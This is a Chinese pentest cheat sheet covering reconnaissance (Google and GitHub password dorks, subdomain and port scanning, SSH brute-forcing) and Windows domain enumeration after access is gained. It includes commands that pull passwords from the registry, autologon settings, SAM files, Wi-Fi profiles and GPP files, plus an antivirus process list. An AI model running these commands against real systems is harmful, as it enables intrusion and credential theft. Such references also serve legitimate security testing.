当你的才华
还撑不起你的野心时
那你就应该静下心来学习
提前,祝贺大家七夕单身快乐... .../流下了伤心欲绝的眼泪
整理这些散落在不同地方的经典文章与公众号的信息收集方法与内网常用命令,花费了个人比较多的精力,愿分享出来,与君共享,本文章涉及与未涉及的知识点,会长期进行维护...
目录
0x01 前期信息收集踩点
Googe Hacke 搜索
如需更多搜索引擎语法前往
https://blog.csdn.net/God_XiangYu/article/details/103145225
以下是利用GHDB结合搜索引擎高级指令进行敏感信息获取的对应表:
a b c | 自动对词进行拆分匹配 拆分标准 空格 |
"a b c " | 把a b c 当成一个整体去查 |
" a*b" | *通配符 里面是一个或者多个 以a开头 b结尾 |
"ab" -c | 找到ab 不包含c |
a and b | 包含a和b |
"ab"(c|d) | ab中可能包含c或者d |
intitle: xx | 找标题 |
intext: xx | 找内容 |
inurl: *.baidu.com | 模糊搜索地址 |
inurl:phpmyadmin/index.php & (intext:username & password & "Welcome to") | |
inanchor:修改密码 | 锚点描述文本 |
filetype:pdf | 搜索 |
cache:baidu.com | 快照 历史信息 |
link:xxx.com | 搜索所有链接有xxx.com 链接 |
site:*.baidu.com | 搜索这个所有域名 |
related: xx.com |
搜索相关网站 |
0x02 GitHub 信息收集
- 数据库信息泄露
site:github.com root password site:github.com sa password site:github.com User ID='sa';Password
- svn信息泄露
site:github.com svn site:github.com svn password site:github.com svn username site:github.com svn username password
- 数据库备份文件
site:github.com inurl:sql
- 综合信息泄露
site:github.com password site:github.com ftp ftppassword site:github.com 密码 site:github.com 内部
- Github 信息收集
https://github.com/michenriksen/gitrob https://securitytrails.com/blog/github-dorks
0x03 端口、邮箱、备案收集
名称 | 地址或命令 |
Tag1-Nmap端口扫描 | nmap -sS -T4 -Pn --open -n -p- -iL ***.txt -oX *** |
小蓝本 | https://www.xiaolanben.com/ |
ThreatScan | https://scan.top15.cn/web/ |
邮箱收集 | https://www.email-format.com/ |
奇怪域名收集 | https://archive.org/web/ |
Aquatone ---子域名截图 | https://github.com/michenriksen/aquatone |
Github 收集 | "*.com" login "*.com" ftp "*.com" password "*.com" token |
图标hash搜索 | 1. 平台 3. 脉脉 5. 抓公众号、小程序链接,能发现一堆奇奇怪怪的资产;还有抖音,支付宝商号等等 |
Fuzz | 资产存活,但却访问不了,是因为目录不正确,收集一个高命中率的资产字典进行fuzz |
Hosts碰撞 | https://github.com/r35tart/Hosts_scan 用于碰撞某些绑定了host的域名进行强制匹配进行访问,跟改了本地host文件一样 |
JS分析 | 网页的JS中往往存在着奇奇怪怪的URL,里面有些参数说不定也有,意想不到的接口泄露 推荐工具JSfinder |
客服窗口 |
为什么此处会说客户窗口?说不定能弹个XSS,在打点的时候可以用此处知道客户的后台地址和Cookie |
0x04 Whois 查询
通过whois来对域名信息进行查询,可以查到注册商、注册人、邮箱、DNS解析服务器、注册人联系电话等,因为有些网站信息查得到,有些网站信息查不到,所以推荐以下信息比较全的查询网站,直接输入目标站点即可查询到相关信息。
名称 | 地址 |
站长之家域名WHOIS信息查询地址 | http://whois.chinaz.com/ |
爱站网域名WHOIS信息查询地址 | https://whois.aizhan.com/ |
腾讯云域名WHOIS信息查询地址 | https://whois.cloud.tencent.com/ |
美橙互联域名WHOIS信息查询地址 | https://whois.cndns.com/ |
爱名网域名WHOIS信息查询地址 | https://www.22.cn/domain/ |
易名网域名WHOIS信息查询地址 | https://whois.ename.net/ |
中国万网域名WHOIS信息查询地址 | https://whois.aliyun.com/ |
西部数码域名WHOIS信息查询地址 | https://whois.west.cn/ |
新网域名WHOIS信息查询地址 | http://whois.xinnet.com/domain/whois/index.jsp |
纳网域名WHOIS信息查询地址 | http://whois.nawang.cn/ |
中资源域名WHOIS信息查询地址 | https://www.zzy.cn/domain/whois.html |
三五互联域名WHOIS信息查询地址 | https://cp.35.com/chinese/whois.php |
新网互联域名WHOIS信息查询地址 | http://www.dns.com.cn/show/domain/whois/index.do |
国外WHOIS信息查询地址 | https://who.is/ |
0x05 在线网站备案查询
名称 | 地址 |
小蓝本 | https://www.xiaolanben.com/ |
天眼查 | https://www.tianyancha.com/ |
ICP备案查询网 | http://www.beianbeian.com/ |
爱站备案查询 | https://icp.aizhan.com |
域名助手备案信息查询 | http://cha.fute.com/index |
企查查 | https://www.qcc.com/ |
0x06 查找真实IP
多地ping、nslookup、DNS 历史查询、查找子域名、反向连接、利用SSL证书寻找真实IP、国外解析域名、漏洞利用、目标敏感文件泄露、扫描全网、从 CDN 入手、利用HTTP标头寻找真实原始IP、利用网站返回的内容寻找真实原始IP、F5 LTM解码法
DNS解析与Whois 查询意义何在?
(1)DNS解析记录可以反查IP,比较早的解析记录有时可以查到真实IP,需要留意一下。
(2)注册人电话,注册人邮箱等社工信息可以钓鱼或者收集进字典来爆破目标办公系统。
为何需要手机子域名?
收集子域名可以扩大测试范围,同一域名下的二级域名都属于目标范围。
- 常用方式
子域名中的常见资产类型一般包括办公系统,邮箱系统,论坛,商城等,其他管理系统,网站管理后台等较少出现在子域名中。
首先找到目标站点,在官网中可能会找到相关资产(多为办公系统,邮箱系统等),关注一下页面底部,也许有管理后台等收获。
查找目标域名信息的方法:
名称 | 用法或地址 |
FOFA | title="公司名称" |
钟馗之眼 | site=域名即可 |
百度 | intitle=公司名称 |
intitle=公司名称 | |
FOFA搜索子域名 | https://fofa.so/ 语法:domain=”baidu.com” |
Hackertarget查询子域名 | https://hackertarget.com/find-dns-host-records/ 注意:查询子域名可以得到一个目标大概的ip段,接下来可以通过ip来收集信息。 |
站长之家,直接搜索名称或者网站域名 | http://tool.chinaz.com/ |
钟馗之眼,直接搜索名称或网站名称 | https://www.zoomeye.org/ |
第三方子域名查询
名称 | 地址 |
子域名在线查询 | https://phpinfo.me/domain/ |
子域名在线查询 | https://www.t1h2ua.cn/tools/ |
IP138查询子域名 | https://site.ip138.com/baidu.com/domain.htm |
Layer子域名挖掘机4.2 | https://www.webshell.cc/6384.html |
Layer子域名挖掘机5.0 | https://pan.baidu.com/s/1wEP_Ysg4qsFbm_k1aoncpg 提取码:uk1j |
SubDomainBrute | https://github.com/lijiejie/subDomainsBrute |
Sublist3r | https://github.com/aboul3la/Sublist3r |
端口检测
名称 | 地址 |
在线端口检测 | http://coolaf.com/tool/port |
扫描主机端口 | nmap -T5 -A -v -p- <target ip> |
扫描一个IP段,探测存活主机 | nmap -sP <network address> </CIDR> |
探测操作系统类型 | nmap -0 <target IP> |
寻找登录授权页面 | nmap -p 80 --script http-auth-finder <www.xxx.com> |
SSH爆破 | nmap -p22 --script ssh-brute <target ip> |
dns 域传送漏洞 | nmap -p 53 --script dns-zone-transfer.nse -v <target ip> |
Masscan | Masscan 127.0.0.0/24 -p443 # 单端口扫描 |
Masscan | Masscan 127.0.0.0/24 --top-ports 100 -rate 100000 # 快速扫描 |
Masscan | Masscan 127.0.0.0/24 --top-ports 100 --excludefile exclude.txt # 排除指定目标 |
Masscan | Masscan 127.0.0.0/24 -p20,21,22,23,80,161,443,873,2181,3389,6379,7001,8000,8009,8080,9000,9009,9090,9200,9300,10000,50070 > results.txt |
假设:如果目标网站使用了CDN,该如何找到真实IP?
注意:很多时候,主站虽然是用了CDN,但子域名可能没有使用CDN,如果主站和子域名在一个ip段中,那么找到子域名的真实IP也是一种途径,而且说不定子域名IP的C段就存在主域名的真实IP。
1. 部分收集真实IP,请参考如下文章
https://blog.csdn.net/God_XiangYu/article/details/106359936
2. phpinfo、旁站和C段
如果目标网站存在phpinfo泄露等,可以在phpinfo中的SERVER_ADDR或_SERVER[“SERVER_ADDR”]找到真实IP。
旁站往往存在业务功能站点,建议先收集已有IP的旁站,再探测C段,确认C段目标后,再在C段的基础上再收集一次旁站。
旁站是和已知目标站点在同一服务器但不同端口的站点,通过以下方法搜索到旁站后,先访问一下确定是不是自己需要的站点信息。
PS:不是所有C段都是该目标服务器的,可能只是某个范围是或切割多个范围才属于该目标范围的IP段,建议先收集已有IP的旁站,再探测C段,当然有些C段,你别傻不拉几的用Goby或漏扫直接扫,有些有WAF,你线程一大就封你IP,扫或不扫,根据现场测试业务环境决定。
3. 网络空间搜索引擎
如FOFA搜索旁站和C段
Nmap,Msscan扫描等
例如:
nmap -p 80,443,8000,8080 -Pn 192.168.0.0/24
网络空间搜索引擎
如果想要在短时间内快速收集资产,那么利用网络空间搜索引擎是不错的选择,可以直观地看到旁站,端口,站点标题,IP等信息,点击列举出站点可以直接访问,以此来判断是否为自己需要的站点信息。FOFA的常用语法
1、同IP旁站:ip=”192.168.0.1”
2、C段:ip=”192.168.0.0/24”
3、子域名:domain=”baidu.com”
4、标题/关键字:title=”百度”
5、如果需要将结果缩小到某个城市的范围,那么可以拼接语句
title="百度"&& region="Beijing"
6、特征:body=”百度”或header=”baidu”
扫描敏感目录/文件
扫描敏感目录需要强大的字典,需要平时积累,拥有强大的字典能够更高效地找出网站的管理后台,敏感文件常见的如.git文件泄露,.svn文件泄露,phpinfo泄露等,这一步一半交给各类扫描器就可以了,将目标站点输入到域名中,选择对应字典类型,就可以开始扫描了,十分方便
1、御剑
https://www.fujieace.com/hacker/tools/yujian.html
2、7kbstorm
https://github.com/7kbstorm/7kbscan-WebPathBrute
3、bbscan
https://github.com/lijiejie/BBScan
4、dirmap
https://github.com/H4ckForJob/dirmap
5、dirsearch
https://github.com/maurosoria/dirsearch
6、Github搜索
0x07 指纹识别
收集网站信息,对网站进行指纹识别,通过识别指纹,确定目标的cms及版本
云悉 | http://www.yunsee.cn/info.html |
潮汐指纹 | http://finger.tidesec.net/ |
CMS指纹识别 | http://whatweb.bugscaner.com/look/ |
0x08 非常规操作
1. 如果找到了目标的一处资产,但是对目标其他资产的收集无处下手时,可以查看一下该站点的body里是否有目标的特征,然后利用网络空间搜索引擎(如fofa等)对该特征进行搜索,如:body=”阿里XX”或body=”aliyun”等。
该方式一般适用于特征明显,资产数量较多的目标,并且很多时候效果不错2. 通过上述方式的找到aliyun.com的特征后,再进行body的搜索,然后再搜索到aliyun.com的时候,此时fofa上显示的IP大概率为aliyun.com的真实IP。
3. 如果需要对政府网站作为目标,那么在批量获取网站首页的时候,可以用上如下地址来查询
全国政府网站基本信息数据库
0x09 SSL/TLS证书查询
SSL/TLS证书通常包含域名、子域名和邮件地址等信息,结合证书中的信息,可以更快速地定位到目标资产,获取到更多目标资产的相关信息。
名称 | 地址 |
亚洲诚信-SSL/TLS安全评估 | https://myssl.com/ |
AUTO-EARN |
https://github.com/Echocipher/AUTO-EARN |
0x10 OSINT调查平台工具
名称 | 地址 |
iKy | https://kennbroorg.gitlab.io/ikyweb/ PS:电子邮件收集信息并以漂亮的可视界面显示结果的工具 |
Boardreader | https://boardreader.com/ PS:搜索全球各个论坛平台的内容。 |
blackhat线上会议 | https://www.blackhat.com/us-20/briefings/schedule/ |
CTFR | https://github.com/UnaPibaGeek/ctfr 滥用证书透明度日志,允许在几秒钟内获取子域。 |
DNS 聚合器 | https://dnsdumpster.com/ |
0x11 自动化批量漏扫工具刺探+手工挖掘
网上有很多【Github】工具,此处就不介绍了,例如Goby+xray、AWVS等等
分割线
内网信息探测命令
0x01 基本信息
- 获取主机名
hostname echo %COMPUTERNAME%
- 系统体系架构
echo %PROCESSOR_ARCHITECTURE%
- 获取所属域信息
systeminfo systeminfo /S 192.168.1.101 /U testlab\test /P "test" 查看远程机器的系统配置
- 查看补丁信息
systeminfo/wmic qfe get caption,description,hotfixid,installedon
- 获取环境变量
set
- 获取IP地址(查看网络配置)
ipconfig /all
- 查看安装软件的版本
wmic product >secbang.txt # 使用wmic命令,把结果输出到txtGet-UnattendedInstallFile powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
- 获取当前用户名
whoami 或 echo %USERNAME% whoami /all # 查看当前用户权限
- 查看注册表中的密码
reg query HKCU /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s
- 查看路由器信息
route print
- 查看本地DNS缓存
ipconfig /displaydns
- 跟踪本机出口ip
tracert 8.8.8.8
- 查看ARP 缓存(查找有价值的内网arp通信记录)
arp -a
- 查看是否连接到其它主机
netstat -ano
- 查看hosts文件
C:\WINDOWS\System32\drivers\etc\hosts
- 查看接口配置
netsh dump
- 查看SNMP配置
reg query HKLM\SYSTEM\CurrentControlSet'Services\SNMP /s
- 查看代理
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
- 查看本机共享列表
net share,wmic share get name,path,status
0x02 常用端口
端口号 | 端口说明 | 利用技巧 |
---|---|---|
21/22/69 | FTP/TFTP:文件传输协议 | 爆破、嗅探、文件传输 |
22 | SSH:远程连接 | 爆破、SSH隧道内网转发、文件传输 |
23 | Telnet:远程连接 | 爆破、嗅探 |
25 | SMTP:邮件服务 | 邮件伪造 |
53 | DNS:域名系统 | DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙 |
67/68 | DHCP | 劫持、欺骗 |
110 | pop3 | 爆破 |
139 | Samba | 爆破、未授权访问、远程代码执行 |
143 | IMAP | 爆破 |
161 | SNMP | 爆破 |
389 | LDAP | 注入攻击、未授权访问 |
512/513/514 | linux rexec服务 | 爆破、远程登录 |
873 | rsync服务 | 未授权访问 |
1352 | Lotus Domino邮件服务 | 爆破:弱口令、信息泄漏:源代码 |
1433 | MSSQL | 注入、SA弱口令爆破、提权 |
1521 | Oracle | 注入、TNS爆破 |
2049 | NFS | 配置不当 |
2181 | ZooKeeper服务 | 未授权访问 |
3306 | MySQL | 注入、提权、爆破 |
3389 | RDP | 爆破、Shift后门、0708 |
4848 | GlassFish控制台 | 爆破:控制台弱口令、认证绕过 |
5000 | Sybase/DB2数据库 | 爆破、注入 |
5432 | PostgreSQL | 缓冲区溢出、注入、爆破:弱口令 |
5632 | PcAnywhere服务 | 抓密码、代码执行 |
5900 | VNC | 爆破:弱口令、认证绕过 |
6379 | Redis | 未授权访问、爆破:弱口令 |
7001、7002 | WebLogic控制台 | Java反序列化、控制台弱口令+部署webshell |
80/443 | Web | 常见web攻击、对应服务器版本漏洞 |
8080/8089 | JBoss/Resin/Jetty/Jenkins | 反序列化、控制台弱口令 |
8069 | Zabbix | 远程命令执行 |
9090 | WebSphere控制台 | 爆破:控制台弱口令、Java反序列 |
9200/9300 | Elasticsearch服务 | 远程代码执行 |
11211 | Memcacache | 未授权访问 |
27017、27018 | MongoDB | 爆破、未授权访问 |
0x03 域内信息收集
- 通过查询系统详细信息来判断是否存在域
systeminfo|findstr "Domain" systeminfo|findstr "域"
- 查看指定用户在当前域中的详细属性信息
net user Agan /domain
- 查看当前域中的所有用户名,根据用户名总数大概判断域的规模
net user /domain
- 查看时间服务器,一般域控会做时间服务器
net time /domain
- 查看域或工作组中的计算机列表(查看所有的域名称)
net view /domain
- 查看指定域中在线的计算机列表
net view /domain:domain_name
- 获取域分组
net group /domain
- 查看当前域中的域管账户
net group "domain admins" /domain
- 查看当前域中的所有的计算机名(登录过该域的计算机)
net group "domain computers" /domain
- 查看域控
net group "domain controllers" /domain
- 查看域控机器名
nltest /DCLIST:域名
- 查看域控主机名
nslookup -type=SRV \_ladp._tcp
- 查看域控制器IP
dsquery server
- 查看域控制器组
net group "Domain Controllers" /domain,netdom query pdc
- 查看域内信任关系
nltest /domain_trusts
- 查看当前域的域内账户密码设置策略
net accounts /domain
- 查看看当前的登录域
net config workstation
- 查看当前域中在线的机器,不太直观,批处理把机器名对应的ip也显示出来
net view ---- WIN10下使用Net view会出现如下报错 System error 1231 System error 6118 解决:https://social.technet.microsoft.com/Forums/en-US/6f102ed1-8e76-4cb7-8dec-05714466d441/net-view-system-error-1231?forum=win10itpronetworking ----
- ※【DC执行】导出域内DNS信息
dnscmd /zoneexport hack7.local dns.txt
- 查看域内邮件服务器
nslookup -q=mx agan1.local
- 查看域内DNS服务器
nslookup -q=ns agan1.local
- 查看域内的主域控,仅限win2008及之后的系统
netdom query pdc
- dsquery导出域信息
利用dsquery 工具搜集域内信息,域成员机器需要自己传上去 dsquery computer # 查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个dsquery dsquery user # 查看当前域中的所有账户名 dsquery group # 查看当前域内的所有组名 dsquery subnet # 查看到当前域所在的网段,结合nbtscan使用 dsquery site # 查看域内所有的web站点 dsquery server # 查看当前域中的服务器(一般结果只有域控的主机名) dsquery user domainroot -name admin* -limit 240 # 查询前240个以admin开头的用户名
- csvde导出域信息
拥有一个当前有效的域用户账户及密码时,使用如下命令 csvde.exe –f c:\windows\temp\e.csv –n –s 192.168.1.100(DC的IP) –b 域用户名 域名 域用户密码 如果拥有使用域成员主机的system权限或者当前就在DC上 csvde.exe –f c:\windows\temp\e.csv –n –s 192.168.1.100(DC的IP)
- SPN扫描
setspn -T target.com -Q */* 可完整查出当前域内所有spn setspn -T domain -q */* # win自带命令完成扫描 或 setspn -Q */* Find-PSServiceAccounts.ps1 # 发现包含弱密码的服务 PS:不同于常规的tcp/udp端口扫描,由于spn本质就是正常的Kerberos请求, 所以扫描是非常隐蔽,日前针对此类扫描的检测暂时也比较少。 大部分win系统默认已自带spn探测工具即:setspn.exe,此操作无需管理权限,需域内机器执行。 详细介绍:域安全-SPN扫描 http://hackergu.com/kerberos-sec-spn-search/ 其它一些脚本:https://github.com/PyroTek3/PowerShell-AD-Recon/
- UDP扫描
sudo unicornscan -mU 192.168.2.100 # Linux下推荐使用,需要自己安装,也可用以端口扫秒 sudo unicornscan -mU 192.168.2.0/24
- ICMP扫描
# CMD轻量级命令,对C段进行ping扫描 for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.2.%I | findstr "TTL=" for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i "ttl" 导出成文本: @for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.0.%i & if errorlevel 1 (echo 192.168.0.%i>>c:\a.txt) else (echo 192.168.0.%i >>c:\b.txt) # powershell对目标内网进行icmp扫描 powershell.exe -exec bypass -Command "Import-Module C:\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort -Port 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084,8085,8086,8087,8089,9090,10000"
- ARP扫描
arp可以轻易bypass掉各类应用层防火墙,除非是专业的arp防火墙就不行了 # Linux下推荐使用,kali自带,通过端口转发或边界代理 sudo netdiscover -r 192.168.2.0/16 -i eth0 # Windows下推荐使用,上传到目标主机 arp-scan.exe -t 192.168.2.0/24 arp-scan.exe下载地址:https://github.com/QbsuranAlang/arp-scan-windows 使用Empire的arpscan模块 usemodule situational_awareness/network/arpscan set Range 192.168.2.0-192.168.2.254 execute
- 扫描域内端口
如果能边界代理连接内网的话可以用msscan或nmap。 若目标PowerShell 3.0以上的版本,可以用Nishang的Invoke-PortScan模块 #主机发现、解析主机名 Invoke-PortScan -StartAddress 192.168.2.1 -EndAddress 192.168.2.255 -ResolveHost #端口扫描,默认扫描常见端口可打开脚本查看,也可以用 -Port指定端口 Invoke-PortScan -StartAddress 192.168.2.1 -EndAddress 192.168.2.254 -ResolveHost -ScanPort
- Nmap 扫描
Nmap -sP 192.168.1.0/24 # Nmap进行存活IP地址扫描Get-Webconfig nmap -sS -sV -O -p0-65535 192.168.80.145 # 扫描内网单个主机端口 有的网络比较差
- ldapsearch
详细介绍:渗透基础——活动目录信息的获取 https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%96/
- Bloodhound/Sharphound
BloodHound以用图与线的形式,将域内用户、计算机、组、Sessions、ACLs以及域内所有相关用户、组、计算机、登陆信息、访问控制策略之间的关系更直观的展现在Red Team面前进行更便捷的分析域内情况,更快速的在域内提升自己的权限。它也可以使Blue Team成员对己方网络系统进行更好的安全检测及保证域的安全性。 这里直接介绍需要在内网机器中执行的相关命令: 此工具的导出相对来说比较暴力,且目前此工具 exe 原版已经被识别并被各种杀软查杀,包括微软win10自带的杀软 Windows Defender 。
- 定位域控【查询dns解析记录】
若当前主机的dns为域内dns,可通过查询dns解析记录定位域控。 C:\Users\xingzheng>nslookup -type=all _ldap._tcp.dc._msdcs.hack7.local DNS request timed out. timeout was 2 seconds. 服务器: UnKnown Address: 192.168.86.109 _ldap._tcp.dc._msdcs.hack7.local SRV service location: priority = 0 weight = 100 port = 389 svr hostname = dc.hack7.local dc.hack7.local internet address = 192.168.86.109
- 定位域控【SPN扫描】
在SPN扫描结果中可以通过如下内容,来进行域控的定位 CN=DC,OU=Domain Controllers,DC=hack7,DC=loca
- 定位域控【net group】
C:\Users\xingzheng>net group "domain controllers" /domain 这项请求将在域 hack7.local 的域控制器处理。 组名 Domain Controllers 注释 域中所有域控制器 成员 ------------------------------------------------------------------------------- DC$ 命令成功完成。
- 定位域管理员
获取域内一个支点后需要获取域管理员权限。 域管理员有其它域成员主机的本地系统管理员权限,具备完全控制权。 推荐使用Empire的user_hunter模块 usemodule situational_awareness/network/powerview/user_hunter execute #可以清楚的看到哪个用户登录了哪个主机
- 定位域控【端口识别】
端口:389 服务:LDAP、ILS 说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。 端口:53 服务:Domain Name Server(DNS) 说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放, 主要用于域名解析,DNS服务在NT系统中使用的最为广泛。 通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站
- 利用脚本信息收集
0x04 杀毒软件进程名字
360SD.exe 360杀毒
360TRAY.exe 360实时保护
ZHUDONGFANGYU.exe 360 主动防御
KSAFETRAY.exe 金山卫士
SAFEDOGUPDATECENTER.exe 服务器安全狗
MCAFEE MCSHIELD.exe MCAFEE
EGULEXE NoD32
AVP.exe 卡巴斯基
AVGUARD.exe 小红伞
BDAGENT.exe BITDEFENDER
"avcenter.exe": "Avira(小红伞)",
"avguard.exe": "Avira(小红伞)",
"avgnt.exe": "Avira(小红伞)",
"sched.exe": "Avira(小红伞)",
"ashDisp.exe": "Avast网络安全",
"rtvscan.exe": "诺顿杀毒",
"ccapp.exe": "Symantec Norton",
"NPFMntor.exe": "Norton杀毒软件相关进程",
"ccSetMgr.exe": "赛门铁克",
"ccRegVfy.exe": "Norton杀毒软件自身完整性检查程序",
"vptray.exe": "Norton病毒防火墙-盾牌图标程序",
"ksafe.exe": "金山卫士",
"QQPCRTP.exe": "QQ电脑管家",
"Miner.exe": "流量矿石",
"AYAgent.exe": "韩国胶囊",
"patray.exe": "安博士",
"V3Svc.exe": "安博士V3",
"avgwdsvc.exe": "AVG杀毒",
"QUHLPSVC.exe": "QUICK HEAL杀毒",
"mssecess.exe": "微软杀毒",
"KSWebShield.exe": "金山网盾",
"rfwmain.exe": "瑞星防火墙",
"kpfwtray.exe": "金山网镖",
"BaiduSdSvc.exe": "百度杀毒-服务进程",
"BaiduSdTray.exe": "百度杀毒-托盘进程",
"BaiduSd.exe": "百度杀毒-主程序",
"SafeDogGuardCenter.exe": "安全狗",
"safedogupdatecenter.exe": "安全狗",
"safedogguardcenter.exe": "安全狗",
"SafeDogSiteIIS.exe": "安全狗",
"SafeDogTray.exe": "安全狗",
"SafeDogServerUI.exe": "安全狗",
"D_Safe_Manage.exe": "D盾",
"d_manage.exe": "D盾",
"yunsuo_agent_service.exe": "云锁",
"yunsuo_agent_daemon.exe": "云锁",
"hipstray.exe": "火绒",
"wsctrl.exe": "火绒",
"usysdiag.exe": "火绒",
"SPHINX.EXE": "SPHINX防火墙",
"bddownloader.exe": "百度卫士",
"baiduansvx.exe": "百度卫士-主进程",
"AvastUI.exe": "Avast!5主程序"
0x05 获取系统安装的软件的信息
- 查看安装了什么软件
dir /a "C:\Program Files" dir /a "C"\Program Files(x86)" reg query HEKY_LOCAL_MACHIN\SOFTWARE
- 有没有文件夹或文件权限配置错误,查看“Program Files”和“Program Files (x86)”下对“Everyone”和“Users”开放所有权限的文件夹
icals "C:\Program Files\*" 2>null | findstr "(F)" | findstr "Everyone" icals "C:\Program Files(x86\*)" 2>null |findstr "(F)" | findstr "Everyone" icals "C:\Program Files\*" 2>null | findstr "(F)" | findstr "BUILIN\Users" icals "C:\Program Files(x86\*)" 2>null | findstr "(F)" |findstr "BUILIN\Users"
- 查看“Program Files”和“Program Files (x86)”下对“Everyone”和“Users”开放修改权限的文件夹
icals "C:\Program Files\*" 2>null | findstr "(M)" | findstr "Everyone" icals "C:\Program Files(x86\*)" 2>null |findstr "(M)" | findstr "Everyone" icals "C:\Program Files\*" 2>null | findstr "(M)" | findstr "BUILIN\Users" icals "C:\Program Files(x86\*)" 2>null | findstr "(M)" |findstr "BUILIN\Users"
- 从Sysinternals上传accesschk来检查可写文件夹和文件
accesschk.exe -qwsu "Everyone" * accesschk.exe -qwsu "Authenticated Users" * accesschk.exe -qwsu "Users" *
- 当前进程信息
tasklist
- 获取系统补丁情况
wmic qfe list
- 使用wmic来识别安装在系统中的补丁情况
wmic qfe get Caption,Description,HotFixID,InstalledOn
- 查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
- 安装软件版本信息
wmic product get name,version wmic product get name /value
- PowerShell命令,收集软件版本信息条具体如下
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
- 查询本机服务信息
wmic service list brief
查看补丁情况
wmic qfe get Caption,Description,HotFixID,InstalledOn systeminfo/wmic qfe get caption,description,hotfixid,installedon # 查看补丁信息
创建系统隐藏文件
ttrib +s +a +r +h filename / attrib +s +h filename
0x06 查看启动程序信息
- 进程列表和进程用户,分析软件、邮件客户端、VPN和杀毒软件等进程
tasklist /v
- 命令也可以查看进程信息
wmic process list brief
- 执行如下命令查看启动程序信息
wmic startup get command,caption
0x07 获取系统注册的服务信息
- 获取系统注册的服务信息
sc query state=all
- 获取在线主机信息
net view
- 查看系统上正在运行的进程/服务有哪些,以及有没有暴露的内部服务
tasklist /svc taskkill /v net start sc query
注册表
reg
- Registry 某些情况下可能会包含凭证
reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s
- Windows 自动登陆
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
- SNMP 相关参数
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
0x08 收集本地用户和组信息
- 获取本地用户组
net localgroup
- 获取本地用户
net user
- 查当前机器中所有的组名,了解不同组的职能,如:IT,HR,admin,file
net localgroup
- 查指定组中的成员列表
net localgroup administrators
- 列举用户,查看是否有旧的用户配置文件没有清理
dir /b /ad "C:\Users\" dir /b /ad "C:\Documents and Settings\" #Windows XP and below
- 查看当前在线用户信息
query user || qwinsta
- 查客户端会话信息
net session
- 查询端口列表信息
netstat –ano
- 查看是否有其它人登录
qwinsta
- 查看注册表中跟用户自动登录有关的内容
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>null | findstr "DefaultUserName DefaultDomainName DefaultPassword"
- 查看Credential Manager中的内容
cmdky /list
- 确定是否可以访问SAM和SYSTEM文件
%SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system
0x09 敏感信息查找
- 查找有没有未清理的sysprep或无人值守的文件
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
- 本地组策略和域组策略
1. 本地组策略 手动去脚本启动模式以为PowerShell或exe程序登运行,或将文件放入 C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup内 2. 域组策略 为什么会需要域组策略?例如域内默认的密码过于简单,一个一个修改太过麻烦,可以使用域组策略批量修改密码 - 通过在域中下发脚本执行 - 在GPP(组策略首选项)中设置 - LAPS(这个在基础篇 - PTH 防御提及过) netlogon 挂载点为 SYSVOL\domain\SCRIPTS ,存放脚本信息 sysvol 是AD域中的一个共享文件夹,存放组策略数据和脚本配置,供域成员访问。在域中,用户登录时会先在sysvol下查找GPO GPO又是什么呢 GPO(Group Policy Object)是组策略设置的集合,用GPO来存储不同的组策略信息,可以指定作用范围(安装完了后默认存在两个)一:Default Domain Policy 即默认组策略。二:Default Domain Controllers Policy即默认域控制器策略。 GPP 终于看到了之前看到多次的GPP。组策略首选项(Group Policy Preference,GPP)借助了GPO实现域中所有资源的管理。截个图,在组策略管理中可以找到 GPP是2008中新增的,在这之前统一管理只能写脚本,GPP的出现方便了管理。同样搬运xq17师傅的文章,这里就不复现了 shell for /r \\dc/sysvol %i in (*.vbs) do @echo %i shell for /r \\dc/sysvol %i in (*.bat) do @echo %i 有关GPP的漏洞,只存在于winserver 2008没有上补丁(KB2962486)的时候(如windows server2012就不存在),在sysvol下会有一个.xml文件,其中的 password 字段是以aes-256保存的,但是微软把密钥放出来了所以可以解密的。所以我认为搜索的脚本就是这样的,快速找到xml文件即可: shell for /r \\dc/sysvol %i in (*.xml) do @echo %i 可以直接使用 PowerSploit下的 Get-GPPPassword.ps1 进行解密操作
- 如果服务器是IIS网络服务器,那么inetpub中有什么?是否存在隐藏的目录或者web.config文件
dir /a C:\inetpub\ dir /s Web.config C:\Windows\System32\inetsrv\config\applicationHost.config
- 查WIFI
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
- 查看日志
